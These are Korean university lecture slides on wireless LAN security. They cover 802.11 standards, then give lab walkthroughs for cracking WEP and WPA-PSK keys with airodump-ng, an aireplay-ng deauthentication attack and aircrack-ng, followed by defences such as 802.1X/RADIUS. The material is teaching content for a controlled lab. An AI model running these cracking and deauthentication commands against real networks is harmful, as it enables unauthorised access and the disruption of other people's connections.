무선네트워크보안과취약점 영동대학교스마트 IT 학부 : 컴퓨터와해킹 이호준 hjlee@yd.ac.kr
Contents 학습목표 무선네트워크를이해한다. 무선네트워크에해킹공격을실행할수있다. 무선랜에대한보안대책을이해한다. 내용 무선네트워크에대한이해 WEP WPA-PSK 무선랜보안 2/29
무선네트워크에대한이해 무선랜 유선랜에비해통신의한계가분명치않으며, 방향성이없어클라이언트가어느거리, 어느방향에서접속하는지에대한정보를얻을수없음 보급초기에는무선네트워크붐이일어많은회사가사내무선랜을설치했지만무선랜의취약한보안때문에사내네트워크가그대로노출되어무선랜을서둘러다시제거하는해프닝을벌이기도함 컴퓨터통신에서무선랜은 2.4GHz 통신망을이용하며, 표준규약으로 802.11 사용 802.11에는 802.11b, 802.11a, 802.11g, 802.11n 등이있음 초기의속도 11Mbps인 802.11b를사용하는무선랜은점차사라지고, 54Mbps를지원하는 802.11g와100Mbps 이상을지원하는 802.11n으로발전 3/29
무선네트워크에대한이해 주요무선랜프로토콜 4/29
무선네트워크에대한이해 IEEE 802.11 IEEE 802 는컴퓨터통신망의표준화를추진하고있는 IEEE 802 위원회가개발한, 일련의 LAN 접속방법및프로토콜국제표준지칭 11 은무선랜관련표준위원회. IEEE 802.11 위원회는 1990 년 10 월부터무선매체접근제어물리계층규격에대한표준화를 OSI 참조모델에준하여진행중 IEEE 802.11b 802.11 규격을기반으로더욱발전시킨기술 최고전송속도는 11Mbps 지만, 실제로는 CSMA/CA 기술의구현과정에서 6~7Mbps 정도효율을나타내는것으로알려져있음 IEEE 802.11a 5GHz 대역의전파를사용하는규격 OFDM 기술을사용해전송속도를최고 54Mbps 까지지원 5GHz 는 2.4GHz 대역에비해다른통신기기 ( 무선전화기, 블루투스기기등 ) 와의간섭이적고, 더넓은전파대역을사용할수있다는장점이있지만신호의특성상장애물이나도심건물등주변환경의영향을쉽게받고, 2.4GHz 대역에서 54Mbps 속도를지원하는 802.11g 규격이등장하면서현재는널리쓰이지않음 IEEE 802.11g 802.11a 규격과전송속도가같고 2.4GHz 대역전파를사용한다는점만다름 널리사용되는 802.11b 규격과쉽게호환되어현재널리쓰임 5/29
무선네트워크에대한이해 IEEE 802.11n 상용화된전송규격으로 2.4GHz 대역과 5GHz 대역을사용하며최고 300Mbps 까지속도지원 우리나라의경우기술규격내주파수점유대역폭의문제 (2 개의채널점유 ) 로 135~144Mbps 로속도가제한되었으나, 2007 년 10 월 17 일전파연구소의기술기준고시로 300Mbps 까지사용할수있게됨 무선랜의이용과통신범위 무선랜은 Ethernet Like 개념으로, 보통내부네트워크의확장으로이용 무선랜을사용하려면내부의유선네트워크에 AP(Access Point) 장비를설치해야함 6/29
무선네트워크에대한이해 무선랜의전송가능거리 [ 그림 12-2] 무지향성안테나 [ 그림 12-3] 지향성안테나 무지향성안테나는보통봉형태로전파수신에일정한방향성이없어 AP 의위치에상관없이동작. 보통 4 개이상의방향성이있다고말하는것이더정확 지향성은다시수직과수평면에대한것으로나뉘고, 대부분의무지향성안테나는수평면에대한무지향성만지원 7/29
무선네트워크에대한이해 무선랜접속 윈도우 기본제공 [ 무선네트워크연결 ] 에서사용가능한무선랜확인하여접속을원하는무선랜선택 NetStumbler( 넷스텀블러 ) 를사용해무선 AP 검색가능 : AP 의 MAC 주소, SSID, 통신채널 (channel), 신호강도, 노이즈등에관한정보를얻을수있음 8/29
무선네트워크에대한이해 리눅스 kismet( 키스멧 ) 툴을사용 기타 구글맵과함께제공하는 Wigle( 위글 ) 과같은서비스이용 9/29
실습 12-1 무선랜해킹을위한네트워크설정하기 [ 그림 12-7] Atheros 칩셋을사용하는무선랜카드검색 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : madwifi-0.9.4.tar.gz (Atheros 칩셋리눅스드라이버 ) 10/29
실습 12-1 무선랜해킹을위한네트워크설정하기 1 무선랜카드확인 iwconfig 11/29
실습 12-1 무선랜해킹을위한네트워크설정하기 2 필요라이브러리설치 2-1 kernel-devel 설치 ➊ yum list kernel-devel* ➋ yum install kernel-devel.i686 2-2 kernel-headers 설치 ➊ yum list kernel-headers*➋ yum install kernel-headers.i686 12/29
실습 12-1 무선랜해킹을위한네트워크설정하기 3 기존무선랜드라이버제거 3-1 ath5k.ko, ath9k.ko, ath.ko로확인된 Atheros 네트워크모듈 ➊ ifconfig wlan0 down ifconfig wlan1 down ➋ modprobe -l *ath* 3-2 ath5k.ko, ath9k.ko, ath.ko 모듈사용금지목록등록 ➊ echo "blacklist ath5k" >> /etc/modprobe.d/blacklist ➋ echo "blacklist ath9k" >> /etc/modprobe.d/blacklist ➌ echo "blacklist ath" >> /etc/modprobe.d/blacklist 13/29
실습 12-1 무선랜해킹을위한네트워크설정하기 4 무선랜해킹용드라이버설치 4-1 madwifi의압축풀어설치 ➊ tar xvf madwifi-0.9.4-current.tar.gz ➋ cd madwifi-0.9.4-current ➌ make ➍ make install 4-2 iwconfig 명령으로무선네트워크인터페이스확인 iwconfig 14/29
실습 12-1 무선랜해킹을위한네트워크설정하기 4-3 스니핑용가상인터페이스생성과 ath1 확인 ➊ wlanconfig ath create wlandev wifi0 wlanmode monitor ➋ iwconfig 15/29
WEP WEP(Wired Equivalent Privacy) 무선랜통신을암호화하기위해 802.11b 프로토콜부터적용 1987 년에만들어진 RC 4 암호화알고리즘을기본으로사용 64/128 비트사용가능. 64 비트는 40 비트, 128 비트는 104 비트 RC 4 키사용 WEP 을이용한암호화세션 암호화과정에서암호화키와함께 24 비트의 IV(Initial Vector) 를사용. 통신과정에서 IV 는랜덤으로생성되어, 암호화키에대한복호화를어렵지만 24 비트의 IV 는통신과정에서 24 비트의짧은길이로인해반복사용되며, 반복사용이 WEP 키의복호화를쉽게함 무선통신에서네트워크패킷에포함된 IV 를충분히수집하여 WEP 키를크랙할경우 1 분이내에도복호화가능 16/29
실습 12-2 WEP 키크랙하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 윈도우 XP 필요프로그램 : aircrack-ng 17/29
실습 12-2 WEP 키크랙하기 1 실습환경구성 1-1 무선랜공유기에서 WEP 키설정 1-2 클라이언트의 WEP 키설정 18/29
실습 12-2 WEP 키크랙하기 2 실습환경구성 ➊ yum list aircrack* ➋ yum install aircrack-ng.i686 3 무선랜패킷수집 airodump-ng --ivs --channel 1 -w wep ath1 --ivs : 무선랜패킷스니핑시암호화크랙에필요한 IV 만수집한다. --channel 1 : 통신채널은 1 만스니핑한다. -w wep : WEP 키에관한내용을 wep.ivs 파일에저장한다. 19/29
실습 12-2 WEP 키크랙하기 4 WEP 키크랙 4-1 aircrack-ng에서대상네트워크선택 ➊ aircrack-ng wep-01.ivs ➋ 3 선택 4-2 aircrack-ng 에서크랙된 WEP 키확인 20/29
WPA-PSK WPA-PSK(Wi-Fi Protected Access Pre-Shared Key) 802.11i 보안표준중일부분으로 WEP 방식의보안문제점을해결하기위해만들어짐 WEP 처럼 AP 와통신해야할클라이언트에암호화키를기본으로등록해두고있지만암호화키를이용해 128 비트인통신용암호화키를새로생성하고, 이암호화키를 10,000 개패킷마다바꿈 암호화알고리즘으로 TKIP 또는 AES 를사용할수있으며, WEP 보다훨씬더강화된암호화세션을제공 AP 에접속하는사용자마다같은암호화키를사용한다는점이보안상미흡 21/29
실습 12-3 WPA-PSK 키크랙하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 윈도우 XP 필요프로그램 : aircrack-ng 22/29
실습 12-3 WPA-PSK 키크랙하기 1 실습환경구성 : 무선랜공유기에서 WPA-PSK 키설정 23/29
실습 12-3 WPA-PSK 키크랙하기 2 WPA-PSK 인증패킷수집 2-1 airodump-ng를이용한패킷스니핑 airodump-ng --channel 1 -w wpa-psk ath1 2-2 aireplay-ng 를이용한세션중단공격 aireplay-ng -0 5 -c 00:21:5d:2d:9b:ce -e wishfree ath1-0 5 : 세션을끊는패킷 (DeAuth) 을 5 번보낸다. -c 00:16:6F:35:B4:74 : 공격대상으로확인된클라이언트의 MAC 주소다. 이주소는 airodump 화면에서확인할수있다. -e wishfree : 공격대상AP의 SSID다. 24/29
실습 12-3 WPA-PSK 키크랙하기 3 WPA-PSK 키크랙 3-1 aircrack-ng에서대상네트워크선택 aircrack-ng -w dic wpa-psk-01.cap 3-2 aircrack-ng 에서크랙된 WPA-PSK 키확인 25/29
무선랜보안 무선네트워크의문제점에대한대응책 AP 보호를위해서는전파가건물내부로한정되도록전파출력을조정하고창이나외부에접한벽이아닌건물안쪽중심부, 특히쉽게눈에띄지않는곳에설치 AP 관리계정의패스워드를반드시재설정 AP 의 DHCP 를정지 AP 의접속 MAC 주소필터링 SSID(Service Set Identifier) 와 WEP(Wired Equivalent Privacy) 을설정 802.1X 와 RADIUS 서버를이용해인증 무선네트워크공격은 AP 를찾는것부터시작 무선 AP 를찾으려면무선안테나를구입하거나제작하여버스를타고브라우징 SSID 는 AP 에서브로드캐스팅되며, 대부분의 AP 가자동 IP 주소할당으로작동 26/29
무선랜보안 RADIUS 와 802.1X 를이용한무선랜인증 ➊ 클라이언트는 AP 에접속을요청한다. ➋ AP 는무선랜네트워크에클라이언트가로그인할때까지접속을차단한다. ➌ RADIUS 서버는클라이언트에인증 Challenge 를전송한다. ➍ 클라이언트는 Challenge 에대한응답으로, ID 와패스워드에대한해시값을구해 RADIUS 서버에전송한다. ➎ RADIUS 서버가사용자관리데이터베이스정보를사용해 Challenge의응답에대한해시값을구하여클라이언트의해시값과비교한다. 27/29
무선랜보안 ➏ RADIUS 서버가클라이언트를인증하면이러한과정을역으로수행하여클라이언트가 RADIUS 서버를인증한다. 클라이언트와 RADIUS 의상호인증이이루어진다. ➐ 클라이언트와 RADIUS 서버의상호인증이성공적으로완료되면, 네트워크접근을위한적당한클라이언트의수준을정의하고클라이언트를구별할수있는 WEP 키를각각결정한다. ➑ RADIUS 서버는세션키 (Session-Key) 라고부르는 WEP 키를유선랜에위치한 AP 에전송한다. ➒ AP 는세션키로브로드캐스트키를암호화하여클라이언트에암호화된키를전송한다. ➓ 클라이언트는브로드캐스트된암호화된키를복호화하기위해세션키를사용한다. 11 클라이언트와 AP는 WEP을활성화하며, 세션이성립되어있는시간동안통신에세션과브로드캐스트키를사용한다. 28/29
영동대학교스마트 IT 학부 : 컴퓨터와해킹